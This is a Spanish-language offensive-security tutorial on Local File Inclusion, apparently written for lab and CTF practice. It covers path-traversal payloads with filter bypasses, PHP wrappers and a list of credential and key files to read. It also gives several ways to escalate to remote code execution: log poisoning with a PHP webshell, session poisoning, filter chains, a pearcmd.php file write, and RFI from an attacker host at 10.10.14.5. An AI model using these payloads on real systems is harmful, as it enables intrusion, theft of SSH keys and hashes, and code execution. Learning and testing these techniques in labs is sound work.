LFI: de leer /etc/passwd a ejecutar comandos
Inclusión local de ficheros paso a paso: path traversal y sus bypasses, wrappers de PHP, qué ficheros leer en Linux y Windows, y las vías para convertir una LFI en RCE.
Una Local File Inclusion aparece cuando la aplicación construye una ruta con lo que le pasas (?page=contacto → include("pages/contacto.php")) sin comprobarla. Con ../ te sales de la carpeta y lees, o incluso ejecutas, otros ficheros del servidor.
Antes de nada, distingue qué tienes:
- Lectura (
file_get_contents,readfile,send_file...): ves el contenido tal cual. Sirve para robar ficheros. - Inclusión (
include,requireen PHP): el fichero se ejecuta si contiene código PHP. Esa es la que puede acabar en RCE.
Detectarla
?page=../../../../../../etc/passwd
?page=/etc/passwd
?page=....//....//....//etc/passwd
?page=..%2f..%2f..%2fetc%2fpasswd
?page=%252e%252e%252fetc%252fpasswd
?page=../../../../etc/passwd%00
| Defensa que ves | Bypass |
|---|---|
Quitan ../ una sola vez |
....// (al quitarlo queda ../) |
Filtran ../ literal |
Codificación URL %2e%2e%2f o doble %252e%252e%252f |
Añaden .php al final |
Wrappers (abajo) o null byte %00 en PHP < 5.3.4 |
| Exigen que empiece por una carpeta | pages/../../../../etc/passwd |
Para probar muchas variantes de golpe:
ffuf -u 'http://web/index.php?page=FUZZ' -w /usr/share/seclists/Fuzzing/LFI/LFI-Jhaddix.txt -fs 0
Truco
Si no sabes cómo se llama el parámetro, fuzzéalo primero: ffuf -u 'http://web/index.php?FUZZ=../../../../etc/passwd' -w burp-parameter-names.txt -fs <tamaño normal>.
Wrappers de PHP
Si el código es PHP, los wrappers son la herramienta principal.
# Leer el código fuente de un .php sin que se ejecute (sale en base64)
?page=php://filter/convert.base64-encode/resource=index.php
?page=php://filter/convert.base64-encode/resource=config
# Ejecutar código (requieren allow_url_include=On, poco habitual)
?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWyJjIl0pOyA/Pg==&c=id
?page=php://input (y el código PHP en el cuerpo de un POST)
# Con la extensión expect instalada (rarísimo)
?page=expect://id
Leer el código fuente es casi siempre el siguiente paso: te da credenciales de la base de datos, otras rutas vulnerables o el nombre exacto de los ficheros que incluye.
Qué ficheros leer
Linux
| Fichero | Para qué |
|---|---|
/etc/passwd |
Usuarios con shell (y sus home) |
/home/<usuario>/.ssh/id_rsa |
Clave privada: entrada directa por SSH |
/proc/self/environ, /proc/self/cmdline |
Variables de entorno y comando del proceso web (a veces con secretos) |
/proc/self/cwd/... |
Ficheros relativos a la carpeta de la aplicación |
/etc/apache2/sites-enabled/000-default.conf, /etc/nginx/sites-enabled/default |
Virtual hosts y dónde está el código |
/var/www/html/config.php, .env, settings.py, application.properties |
Credenciales de la aplicación |
/proc/net/tcp |
Puertos abiertos solo en local (en hexadecimal) |
Windows
| Fichero | Para qué |
|---|---|
C:\Windows\win.ini |
Comprobar que la LFI funciona |
C:\inetpub\wwwroot\web.config |
Configuración de IIS, a veces con cadenas de conexión |
C:\xampp\apache\conf\httpd.conf, C:\xampp\php\php.ini |
Rutas y configuración de XAMPP |
C:\Users\<usuario>\.ssh\id_rsa |
Claves SSH |
Nota
En Windows, una ruta UNC como \\10.10.14.5\x\a.php hace que el servidor se conecte a tu SMB. Con Responder o impacket-smbserver te llevas el hash NetNTLMv2 de la cuenta que ejecuta la web.
De LFI a RCE
Envenenar un log
Si puedes incluir el log del servidor web, escribe PHP en él (por ejemplo en el User-Agent) y luego inclúyelo:
curl -A '<?php system($_GET["c"]); ?>' http://web/
curl 'http://web/index.php?page=/var/log/apache2/access.log&c=id'
Logs típicos: /var/log/apache2/access.log, /var/log/nginx/access.log, /var/log/auth.log (inyectando en el usuario de un SSH fallido) o /var/log/vsftpd.log.
Cuidado
Si tu PHP tiene un error de sintaxis, el log queda "roto" y cualquier inclusión posterior falla. Escribe el payload bien a la primera.
Sesiones de PHP
Si algo que controlas se guarda en la sesión (el nombre de usuario, el idioma...), está en /var/lib/php/sessions/sess_<PHPSESSID>. Pon PHP en ese valor e incluye el fichero.
Cadenas de filtros de PHP
Encadenando filtros convert.iconv de php://filter se puede fabricar cualquier texto, incluido código PHP, sin subir ningún fichero. Solo necesitas un include con la ruta controlada:
python3 php_filter_chain_generator.py --chain '<?php system($_GET["c"]); ?>'
La herramienta (de Synacktiv) te da una cadena enorme que pegas como valor del parámetro.
Subir un fichero e incluirlo
Si hay una subida de ficheros (una foto de perfil, un adjunto), aunque solo acepte imágenes, puedes subir un fichero con PHP dentro y luego incluirlo por su ruta. Si cambian la extensión, los wrappers zip:// y phar:// permiten incluir un PHP de dentro de un ZIP:
?page=zip:///var/www/html/uploads/avatar.jpg%23shell.php
pearcmd.php
En muchas imágenes Docker oficiales de PHP existe /usr/local/lib/php/pearcmd.php y register_argc_argv está activo. Incluyéndolo con argumentos en la URL puedes escribir un fichero con tu código:
?page=/usr/local/lib/php/pearcmd.php&+config-create+/<?=system($_GET['c'])?>+/tmp/c.php
(Mándalo con Burp o curl, que el navegador codificaría < y ?.) Después, ?page=/tmp/c.php&c=id.
RFI
Si allow_url_include está activo (o en Windows, con rutas UNC), puedes incluir directamente un fichero tuyo:
echo '<?php system($_GET["c"]); ?>' > s.php && python3 -m http.server 80
# ?page=http://10.10.14.5/s.php&c=id
Mira las máquinas de RFI para ver casos reales.